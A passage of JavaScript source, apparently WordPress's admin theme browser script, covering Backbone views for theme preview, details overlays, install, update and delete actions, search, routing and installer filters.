preview.$el.addClass( 'no-navigation' ); } else { preview.$el.removeClass( 'no-navigation' ); } // Append preview. $( 'div.wrap' ).append( preview.el ); // Listen to our preview object // for `theme:next` and `theme:previous` events. this.listenTo( preview, 'theme:next', function() { // Keep local track of current theme model. current = self.model; // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get next theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { self.options.parent.parent.trigger( 'theme:end' ); return self.current = current; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.next-theme' ).trigger( 'focus' ); }) .listenTo( preview, 'theme:previous', function() { // Keep track of current theme model. current = self.model; // Bail early if we are at the beginning of the collection. if ( self.model.collection.indexOf( self.current ) === 0 ) { return; } // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get previous theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { return; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.previous-theme' ).trigger( 'focus' ); }); this.listenTo( preview, 'preview:close', function() { self.current = self.model; }); }, // Handles .disabled classes for previous/next buttons in theme installer preview. setNavButtonsState: function() { var $themeInstaller = $( '.theme-install-overlay' ), current = _.isUndefined( this.current ) ? this.model : this.current, previousThemeButton = $themeInstaller.find( '.previous-theme' ), nextThemeButton = $themeInstaller.find( '.next-theme' ); // Disable previous at the zero position. if ( 0 === this.model.collection.indexOf( current ) ) { previousThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); nextThemeButton.trigger( 'focus' ); } // Disable next if the next model is undefined. if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) { nextThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); previousThemeButton.trigger( 'focus' ); } }, installTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { 'installed': true } ); } if ( response.blockTheme ) { _this.model.set( { 'block_theme': true } ); } } ); wp.updates.installTheme( { slug: $( event.target ).data( 'slug' ) } ); }, updateTheme: function( event ) { var _this = this; if ( ! this.model.get( 'hasPackage' ) ) { return; } event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { _this.model.off( 'change', _this.render, _this ); if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.model.on( 'change', _this.render, _this ); } ); wp.updates.updateTheme( { slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' ) } ); } }); // Theme Details view. // Sets up a modal overlay with the expanded theme data. themes.view.Details = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element. className: 'theme-overlay', events: { 'click': 'collapse', 'click .delete-theme': 'deleteTheme', 'click .left': 'previousTheme', 'click .right': 'nextTheme', 'click #update-theme': 'updateTheme', 'click .toggle-auto-update': 'autoupdateState' }, // The HTML template for the theme overlay. html: themes.template( 'theme-single' ), render: function() { var data = this.model.toJSON(); this.$el.html( this.html( data ) ); // Renders active theme styles. this.activeTheme(); // Set up navigation events. this.navigation(); // Checks screenshot size. this.screenshotCheck( this.$el ); // Contain "tabbing" inside the overlay. this.containFocus( this.$el ); }, // Adds a class to the currently active theme // and to the overlay in detailed view mode. activeTheme: function() { // Check the model has the active property. this.$el.toggleClass( 'active', this.model.get( 'active' ) ); }, // Set initial focus and constrain tabbing within the theme browser modal. containFocus: function( $el ) { // Set initial focus on the primary action control. _.delay( function() { $( '.theme-overlay' ).trigger( 'focus' ); }, 100 ); // Constrain tabbing within the modal. $el.on( 'keydown.wp-themes', function( event ) { var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(), $lastFocusable = $el.find( '.theme-actions a:visible' ).last(); // Check for the Tab key. if ( 9 === event.which ) { if ( $firstFocusable[0] === event.target && event.shiftKey ) { $lastFocusable.trigger( 'focus' ); event.preventDefault(); } else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) { $firstFocusable.trigger( 'focus' ); event.preventDefault(); } } }); }, // Single theme overlay screen. // It's shown when clicking a theme. collapse: function( event ) { var self = this, scroll; event = event || window.event; // Prevent collapsing detailed view when there is only one theme available. if ( themes.data.themes.length === 1 ) { return; } // Detect if the click is inside the overlay and don't close it // unless the target was the div.back button. if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) { // Add a temporary closing class while overlay fades out. $( 'body' ).addClass( 'closing-overlay' ); // With a quick fade out animation. this.$el.fadeOut( 130, function() { // Clicking outside the modal box closes the overlay. $( 'body' ).removeClass( 'closing-overlay' ); // Handle event cleanup. self.closeOverlay(); // Get scroll position to avoid jumping to the top. scroll = document.body.scrollTop; // Clean the URL structure. themes.router.navigate( themes.router.baseUrl( '' ) ); // Restore scroll position. document.body.scrollTop = scroll; // Return focus to the theme div. if ( themes.focusedTheme ) { themes.focusedTheme.find('.more-details').trigger( 'focus' ); } }); } }, // Handles .disabled classes for next/previous buttons. navigation: function() { // Disable Left/Right when at the start or end of the collection. if ( this.model.cid === this.model.collection.at(0).cid ) { this.$el.find( '.left' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) { this.$el.find( '.right' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } }, // Performs the actions to effectively close // the theme details overlay. closeOverlay: function() { $( 'body' ).removeClass( 'modal-open' ); this.remove(); this.unbind(); this.trigger( 'theme:collapse' ); }, // Set state of the auto-update settings link after it has been changed and saved. autoupdateState: function() { var callback, _this = this; // Support concurrent clicks in different Theme Details overlays. callback = function( event, data ) { var autoupdate; if ( _this.model.get( 'id' ) === data.asset ) { autoupdate = _this.model.get( 'autoupdate' ); autoupdate.enabled = 'enable' === data.state; _this.model.set( { autoupdate: autoupdate } ); $( document ).off( 'wp-auto-update-setting-changed', callback ); } }; // Triggered in updates.js $( document ).on( 'wp-auto-update-setting-changed', callback ); }, updateTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.render(); } ); wp.updates.updateTheme( { slug: $( event.target ).data( 'slug' ) } ); }, deleteTheme: function( event ) { var _this = this, _collection = _this.model.collection, _themes = themes; event.preventDefault(); // Confirmation dialog for deleting a theme. if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).one( 'wp-theme-delete-success', function( event, response ) { _this.$el.find( '.close' ).trigger( 'click' ); $( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() { $( this ).remove(); _themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) ); $( '.wp-filter-search' ).val( '' ); _collection.doSearch( '' ); _collection.remove( _this.model ); _collection.trigger( 'themes:update' ); } ); } ); wp.updates.deleteTheme( { slug: this.model.get( 'id' ) } ); }, nextTheme: function() { var self = this; self.trigger( 'theme:next', self.model.cid ); return false; }, previousTheme: function() { var self = this; self.trigger( 'theme:previous', self.model.cid ); return false; }, // Checks if the theme screenshot is the old 300px width version // and adds a corresponding class if it's true. screenshotCheck: function( el ) { var screenshot, image; screenshot = el.find( '.screenshot img' ); image = new Image(); image.src = screenshot.attr( 'src' ); // Width check. if ( image.width && image.width <= 300 ) { el.addClass( 'small-screenshot' ); } } }); // Theme Preview view. // Sets up a modal overlay with the expanded theme data. themes.view.Preview = themes.view.Details.extend({ className: 'wp-full-overlay expanded', el: '.theme-install-overlay', events: { 'click .close-full-overlay': 'close', 'click .collapse-sidebar': 'collapse', 'click .devices button': 'previewDevice', 'click .previous-theme': 'previousTheme', 'click .next-theme': 'nextTheme', 'keyup': 'keyEvent', 'click .theme-install': 'installTheme' }, // The HTML template for the theme preview. html: themes.template( 'theme-preview' ), render: function() { var self = this, currentPreviewDevice, data = this.model.toJSON(), $body = $( document.body ); $body.attr( 'aria-busy', 'true' ); this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) ); currentPreviewDevice = this.$el.data( 'current-preview-device' ); if ( currentPreviewDevice ) { self.togglePreviewDeviceButtons( currentPreviewDevice ); } themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } ); this.$el.fadeIn( 200, function() { $body.addClass( 'theme-installer-active full-overlay-active' ); }); this.$el.find( 'iframe' ).one( 'load', function() { self.iframeLoaded(); }); }, iframeLoaded: function() { this.$el.addClass( 'iframe-ready' ); $( document.body ).attr( 'aria-busy', 'false' ); }, close: function() { this.$el.fadeOut( 200, function() { $( 'body' ).removeClass( 'theme-installer-active full-overlay-active' ); // Return focus to the theme div. if ( themes.focusedTheme ) { themes.focusedTheme.find('.more-details').trigger( 'focus' ); } }).removeClass( 'iframe-ready' ); // Restore the previous browse tab if available. if ( themes.router.selectedTab ) { themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) ); themes.router.selectedTab = false; } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } this.trigger( 'preview:close' ); this.undelegateEvents(); this.unbind(); return false; }, collapse: function( event ) { var $button = $( event.currentTarget ); if ( 'true' === $button.attr( 'aria-expanded' ) ) { $button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar }); } else { $button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar }); } this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' ); return false; }, previewDevice: function( event ) { var device = $( event.currentTarget ).data( 'device' ); this.$el .removeClass( 'preview-desktop preview-tablet preview-mobile' ) .addClass( 'preview-' + device ) .data( 'current-preview-device', device ); this.togglePreviewDeviceButtons( device ); }, togglePreviewDeviceButtons: function( newDevice ) { var $devices = $( '.wp-full-overlay-footer .devices' ); $devices.find( 'button' ) .removeClass( 'active' ) .attr( 'aria-pressed', false ); $devices.find( 'button.preview-' + newDevice ) .addClass( 'active' ) .attr( 'aria-pressed', true ); }, keyEvent: function( event ) { // The escape key closes the preview. if ( event.keyCode === 27 ) { this.undelegateEvents(); this.close(); } // Return if Ctrl + Shift or Shift key pressed if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) { return; } // The right arrow key, next theme. if ( event.keyCode === 39 ) { _.once( this.nextTheme() ); } // The left arrow key, previous theme. if ( event.keyCode === 37 ) { this.previousTheme(); } }, installTheme: function( event ) { var _this = this, $target = $( event.target ); event.preventDefault(); if ( $target.hasClass( 'disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function() { _this.model.set( { 'installed': true } ); } ); wp.updates.installTheme( { slug: $target.data( 'slug' ) } ); } }); // Controls the rendering of div.themes, // a wrapper that will hold all the theme elements. themes.view.Themes = wp.Backbone.View.extend({ className: 'themes wp-clearfix', $overlay: $( 'div.theme-overlay' ), // Number to keep track of scroll position // while in theme-overlay mode. index: 0, // The theme count element. count: $( '.wrap .theme-count' ), // The live themes count. liveThemeCount: 0, initialize: function( options ) { var self = this; // Set up parent. this.parent = options.parent; // Set current view to [grid]. this.setView( 'grid' ); // Move the active theme to the beginning of the collection. self.currentTheme(); // When the collection is updated by user input... this.listenTo( self.collection, 'themes:update', function() { self.parent.page = 0; self.currentTheme(); self.render( this ); } ); // Update theme count to full result set when available. this.listenTo( self.collection, 'query:success', function( count ) { if ( _.isNumber( count ) ) { self.count.text( count ); self.announceSearchResults( count ); } else { self.count.text( self.collection.length ); self.announceSearchResults( self.collection.length ); } }); this.listenTo( self.collection, 'query:empty', function() { $( 'body' ).addClass( 'no-results' ); }); this.listenTo( this.parent, 'theme:scroll', function() { self.renderThemes( self.parent.page ); }); this.listenTo( this.parent, 'theme:close', function() { if ( self.overlay ) { self.overlay.closeOverlay(); } } ); // Bind keyboard events. $( 'body' ).on( 'keyup', function( event ) { if ( ! self.overlay ) { return; } // Bail if the filesystem credentials dialog is shown. if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) { return; } // Return if Ctrl + Shift or Shift key pressed if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) { return; } // Pressing the right arrow key fires a theme:next event. if ( event.keyCode === 39 ) { self.overlay.nextTheme(); } // Pressing the left arrow key fires a theme:previous event. if ( event.keyCode === 37 ) { self.overlay.previousTheme(); } // Pressing the escape key fires a theme:collapse event. if ( event.keyCode === 27 ) { self.overlay.collapse( event ); } }); }, // Manages rendering of theme pages // and keeping theme count in sync. render: function() { // Clear the DOM, please. this.$el.empty(); // If the user doesn't have switch capabilities or there is only one theme // in the collection, render the detailed view of the active theme. if ( themes.data.themes.length === 1 ) { // Constructs the view. this.singleTheme = new themes.view.Details({ model: this.collection.models[0] }); // Render and apply a 'single-theme' class to our container. this.singleTheme.render(); this.$el.addClass( 'single-theme' ); this.$el.append( this.singleTheme.el ); } // Generate the themes using page instance // while checking the collection has items. if ( this.options.collection.size() > 0 ) { this.renderThemes( this.parent.page ); } // Display a live theme count for the collection. this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length; this.count.text( this.liveThemeCount ); /* * In the theme installer the themes count is already announced * because `announceSearchResults` is called on `query:success`. */ if ( ! themes.isInstall ) { this.announceSearchResults( this.liveThemeCount ); } }, // Iterates through each instance of the collection // and renders each theme module. renderThemes: function( page ) { var self = this; self.instance = self.collection.paginate( page ); // If we have no more themes, bail. if ( self.instance.size() === 0 ) { // Fire a no-more-themes event. this.parent.trigger( 'theme:end' ); return; } // Make sure the add-new stays at the end. if ( ! themes.isInstall && page >= 1 ) { $( '.add-new-theme' ).remove(); } // Loop through the themes and setup each theme view. self.instance.each( function( theme ) { self.theme = new themes.view.Theme({ model: theme, parent: self }); // Render the views... self.theme.render(); // ...and append them to div.themes. self.$el.append( self.theme.el ); // Binds to theme:expand to show the modal box // with the theme details. self.listenTo( self.theme, 'theme:expand', self.expand, self ); }); // 'Add new theme' element shown at the end of the grid. if ( ! themes.isInstall && themes.data.settings.canInstall ) { this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' ); } this.parent.page++; }, // Grabs current theme and puts it at the beginning of the collection. currentTheme: function() { var self = this, current; current = self.collection.findWhere({ active: true }); // Move the active theme to the beginning of the collection. if ( current ) { self.collection.remove( current ); self.collection.add( current, { at:0 } ); } }, // Sets current view. setView: function( view ) { return view; }, // Renders the overlay with the ThemeDetails view. // Uses the current model data. expand: function( id ) { var self = this, $card, $modal; // Set the current theme model. this.model = self.collection.get( id ); // Trigger a route update for the current model. themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) ); // Sets this.view to 'detail'. this.setView( 'detail' ); $( 'body' ).addClass( 'modal-open' ); // Set up the theme details view. this.overlay = new themes.view.Details({ model: self.model }); this.overlay.render(); if ( this.model.get( 'hasUpdate' ) ) { $card = $( '[data-slug="' + this.model.id + '"]' ); $modal = $( this.overlay.el ); if ( $card.find( '.updating-message' ).length ) { $modal.find( '.notice-warning h3' ).remove(); $modal.find( '.notice-warning' ) .removeClass( 'notice-large' ) .addClass( 'updating-message' ) .find( 'p' ).text( wp.updates.l10n.updating ); } else if ( $card.find( '.notice-error' ).length ) { $modal.find( '.notice-warning' ).remove(); } } this.$overlay.html( this.overlay.el ); // Bind to theme:next and theme:previous triggered by the arrow keys. // Keep track of the current model so we can infer an index position. this.listenTo( this.overlay, 'theme:next', function() { // Renders the next theme on the overlay. self.next( [ self.model.cid ] ); }) .listenTo( this.overlay, 'theme:previous', function() { // Renders the previous theme on the overlay. self.previous( [ self.model.cid ] ); }); }, /* * This method renders the next theme on the overlay modal * based on the current position in the collection. * * @params [model cid] */ next: function( args ) { var self = this, model, nextModel; // Get the current theme. model = self.collection.get( args[0] ); // Find the next model within the collection. nextModel = self.collection.at( self.collection.indexOf( model ) + 1 ); // Confidence check which also serves as a boundary test. if ( nextModel !== undefined ) { // We have a new theme... // Close the overlay. this.overlay.closeOverlay(); // Trigger a route update for the current model. self.theme.trigger( 'theme:expand', nextModel.cid ); } }, /* * This method renders the previous theme on the overlay modal * based on the current position in the collection. * * @params [model cid] */ previous: function( args ) { var self = this, model, previousModel; // Get the current theme. model = self.collection.get( args[0] ); // Find the previous model within the collection. previousModel = self.collection.at( self.collection.indexOf( model ) - 1 ); if ( previousModel !== undefined ) { // We have a new theme... // Close the overlay. this.overlay.closeOverlay(); // Trigger a route update for the current model. self.theme.trigger( 'theme:expand', previousModel.cid ); } }, // Dispatch audible search results feedback message. announceSearchResults: function( count ) { if ( 0 === count ) { wp.a11y.speak( l10n.noThemesFound ); } else { wp.a11y.speak( l10n.themesFound.replace( '%d', count ) ); } } }); // Search input view controller. themes.view.Search = wp.Backbone.View.extend({ tagName: 'input', className: 'wp-filter-search', id: 'wp-filter-search-input', searching: false, attributes: { type: 'search', 'aria-describedby': 'live-search-desc' }, events: { 'input': 'search', 'keyup': 'search', 'blur': 'pushState' }, initialize: function( options ) { this.parent = options.parent; this.listenTo( this.parent, 'theme:close', function() { this.searching = false; } ); }, search: function( event ) { // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } // Since doSearch is debounced, it will only run when user input comes to a rest. this.doSearch( event ); }, // Runs a search on the theme collection. doSearch: function( event ) { var options = {}; this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) ); // if search is initiated and key is not return. if ( this.searching && event.which !== 13 ) { options.replace = true; } else { this.searching = true; } // Update the URL hash. if ( event.target.value ) { themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options ); } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } }, pushState: function( event ) { var url = themes.router.baseUrl( '' ); if ( event.target.value ) { url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) ); } this.searching = false; themes.router.navigate( url ); } }); /** * Navigate router. * * @since 4.9.0 * * @param {string} url - URL to navigate to. * @param {Object} state - State. * @return {void} */ function navigateRouter( url, state ) { var router = this; if ( Backbone.history._hasPushState ) { Backbone.Router.prototype.navigate.call( router, url, state ); } } // Sets up the routes events for relevant url queries. // Listens to [theme] and [search] params. themes.Router = Backbone.Router.extend({ routes: { 'themes.php?theme=:slug': 'theme', 'themes.php?search=:query': 'search', 'themes.php?s=:query': 'search', 'themes.php': 'themes', '': 'themes' }, baseUrl: function( url ) { return 'themes.php' + url; }, themePath: '?theme=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, themes: function() { $( '.wp-filter-search' ).val( '' ); }, navigate: navigateRouter }); // Execute and setup the application. themes.Run = { init: function() { // Initializes the blog's theme library view. // Create a new collection with data. this.themes = new themes.Collection( themes.data.themes ); // Set up the view. this.view = new themes.view.Appearance({ collection: this.themes }); this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results. this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this; // Bind to our global thx object // so that the object is available to sub-views. themes.router = new themes.Router(); // Handles theme details route event. themes.router.on( 'route:theme', function( slug ) { self.view.view.expand( slug ); }); themes.router.on( 'route:themes', function() { self.themes.doSearch( '' ); self.view.trigger( 'theme:close' ); }); // Handles search route event. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Extend the main Search view. themes.view.InstallerSearch = themes.view.Search.extend({ events: { 'input': 'search', 'keyup': 'search' }, terms: '', // Handles Ajax request for searching through themes in public repo. search: function( event ) { // Tabbing or reverse tabbing into the search input shouldn't trigger a search. if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) { return; } this.collection = this.options.parent.view.collection; // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } this.doSearch( event.target.value ); }, doSearch: function( value ) { var request = {}; // Don't do anything if the search terms haven't changed. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; request.search = value; /* * Intercept an [author] search. * * If input value starts with `author:` send a request * for `author` instead of a regular `search`. */ if ( value.substring( 0, 7 ) === 'author:' ) { request.search = ''; request.author = value.slice( 7 ); } /* * Intercept a [tag] search. * * If input value starts with `tag:` send a request * for `tag` instead of a regular `search`. */ if ( value.substring( 0, 4 ) === 'tag:' ) { request.search = ''; request.tag = [ value.slice( 4 ) ]; } $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); $( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); // Set route. themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } ); } }); themes.view.Installer = themes.view.Appearance.extend({ el: '#wpbody-content .wrap', // Register events for sorting and filters in theme-navigation. events: { 'click .filter-links li > a': 'onSort', 'click .theme-filter': 'onFilter', 'click .drawer-toggle': 'moreFilters', 'click .filter-drawer .apply-filters': 'applyFilters', 'click .filter-group [type="checkbox"]': 'addFilter', 'click .filter-drawer .clear-filters': 'clearFilters', 'click .edit-filters': 'backToFilters', 'click .favorites-form-submit' : 'saveUsername', 'keyup #wporg-username-input': 'saveUsername' }, // Initial render method. render: function() { var self = this; this.search(); this.uploader(); this.collection = new themes.Collection(); // Bump `collection.currentQuery.page` and request more themes if we hit the end of the page. this.listenTo( this, 'theme:end', function() { // Make sure we are not already loading. if ( self.collection.loadingThemes ) { return; } // Set loadingThemes to true and bump page instance of currentQuery. self.collection.loadingThemes = true; self.collection.currentQuery.page++; // Use currentQuery.page to build the themes request. _.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } ); self.collection.query( self.collection.currentQuery.request ); }); this.listenTo( this.collection, 'query:success', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); }); this.listenTo( this.collection, 'query:fail', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); $( '.theme-browser' ).find( 'div.themes' ).before( '<div class="notice notice-error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' ); $( '.theme-browser .error .try-again' ).on( 'click', function( e ) { e.preventDefault(); $( 'input.wp-filter-search' ).trigger( 'input' ); } ); }); if ( this.view ) { this.view.remove(); } // Sets up the view and passes the section argument. this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Reset pagination every time the install view handler is run. this.page = 0; // Render and append. this.$el.find( '.themes' ).remove(); this.view.render(); this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' ); }, // Handles all the rendering of the public theme directory. browse: function( section ) { // Create a new collection with the proper theme data // for each section. if ( 'block-themes' === section ) { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( { tag: 'full-site-editing' } ); } else { this.collection.query( { browse: section } ); } }, // Sorting navigation. onSort: function( event ) { var $el = $( event.target ), sort = $el.data( 'sort' ); event.preventDefault(); $( 'body' ).removeClass( 'filters-applied show-filters' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Bail if this is already active. if ( $el.hasClass( this.activeClass ) ) { return; } this.sort( sort ); // Trigger a router.navigate update. themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) ); }, sort: function( sort ) { this.clearSearch(); // Track sorting so we can restore the correct tab when closing preview. themes.router.selectedTab = sort; $( '.filter-links li > a, .theme-filter' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $( '[data-sort="' + sort + '"]' ) .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( 'favorites' === sort ) { $( 'body' ).addClass( 'show-favorites-form' ); } else { $( 'body' ).removeClass( 'show-favorites-form' ); } this.browse( sort ); }, // Filters and Tags. onFilter: function( event ) { var request, $el = $( event.target ), filter = $el.data( 'filter' ); // Bail if this is already active. if ( $el.hasClass( this.activeClass ) ) { return; } $( '.filter-links li > a, .theme-section' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $el .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( ! filter ) { return; } // Construct the filter request // using the default values. filter = _.union( [ filter, this.filtersChecked() ] ); request = { tag: [ filter ] }; // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); }, // Clicking on a checkbox to add another filter to the request. addFilter: function() { this.filtersChecked(); }, // Applying filters triggers a tag request. applyFilters: function( event ) { var name, tags = this.filtersChecked(), request = { tag: tags }, filteringBy = $( '.filtered-by .tags' ); if ( event ) { event.preventDefault(); } if ( ! tags ) { wp.a11y.speak( l10n.selectFeatureFilter ); return; } $( 'body' ).addClass( 'filters-applied' ); $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); filteringBy.empty(); _.each( tags, function( tag ) { name = $( 'label[for="filter-id-' + tag + '"]' ).text(); filteringBy.append( '<span class="tag">' + name + '</span>' ); }); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); }, // Save the user's WordPress.org username and get his favorite themes. saveUsername: function ( event ) { var username = $( '#wporg-username-input' ).val(), nonce = $( '#wporg-username-nonce' ).val(), request = { browse: 'favorites', user: username }, that = this; if ( event ) { event.preventDefault(); } // Save username on enter. if ( event.type === 'keyup' && event.which !== 13 ) { return; } return wp.ajax.send( 'save-wporg-username', { data: { _wpnonce: nonce, username: username }, success: function () { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. that.collection.query( request ); } } ); }, /** * Get the checked filters. * * @return {Array} of tags or false */ filtersChecked: function() { var items = $( '.filter-group' ).find( ':checkbox' ), tags = []; _.each( items.filter( ':checked' ), function( item ) { tags.push( $( item ).prop( 'value' ) ); }); // When no filters are checked, restore initial state and return. if ( tags.length === 0 ) { $( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' ); $( '.filter-drawer .clear-filters' ).hide(); $( 'body' ).removeClass( 'filters-applied' ); return false; } $( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length ); $( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' ); return tags; }, activeClass: 'current', /** * When users press the "Upload Theme" button, show the upload form in place. */ uploader: function() { var uploadViewToggle = $( '.upload-view-toggle' ), $body = $( document.body ); uploadViewToggle.on( 'click', function() { // Toggle the upload view. $body.toggleClass( 'show-upload-view' ); // Toggle the `aria-expanded` button attribute. uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); }, // Toggle the full filters navigation. moreFilters: function( event ) { var $body = $( 'body' ), $toggleButton = $( '.drawer-toggle' ); event.preventDefault(); if ( $body.hasClass( 'filters-applied' ) ) { return this.backToFilters(); } this.clearSearch(); themes.router.navigate( themes.router.baseUrl( '' ) ); // Toggle the feature filters view. $body.toggleClass( 'show-filters' ); // Toggle the `aria-expanded` button attribute. $toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) ); }, /** * Clears all the checked filters. * * @uses filtersChecked() */ clearFilters: function( event ) { var items = $( '.filter-group' ).find( ':checkbox' ), self = this; event.preventDefault(); _.each( items.filter( ':checked' ), function( item ) { $( item ).prop( 'checked', false ); return self.filtersChecked(); }); }, backToFilters: function( event ) { if ( event ) { event.preventDefault(); } $( 'body' ).removeClass( 'filters-applied' ); }, clearSearch: function() { $( '#wp-filter-search-input').val( '' ); } }); themes.InstallerRouter = Backbone.Router.extend({ routes: { 'theme-install.php?theme=:slug': 'preview', 'theme-install.php?browse=:sort': 'sort', 'theme-install.php?search=:query': 'search', 'theme-install.php': 'sort' }, baseUrl: function( url ) { return 'theme-install.php' + url; }, themePath: '?theme=', browsePath: '?browse=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, navigate: navigateRouter }); themes.RunInstaller = { init: function() { // Set up the view. // Passes the default 'section' as an option. this.view = new themes.view.Installer({ section: 'popular', SearchView: themes.view.InstallerSearch }); // Render results. this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results. this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this, request = {}; // Bind to our global `wp.themes` object // so that the router is available to sub-views. themes.router = new themes.InstallerRouter(); // Handles `theme` route event. // Queries the API for the passed theme slug. themes.router.on( 'route:preview', function( slug ) { // Remove existing handlers. if ( themes.preview ) { themes.preview.undelegateEvents(); themes.preview.unbind(); } // If the theme preview is active, set the current theme. if ( self.view.view.theme && self.view.view.theme.preview ) { self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } ); self.view.view.theme.preview(); } else { // Select the theme by slug. request.theme = slug; self.view.collection.query( request ); self.view.collection.trigger( 'update' ); // Open the theme preview. self.view.collection.once( 'query:success', function() { $( 'div[data-slug="' + slug + 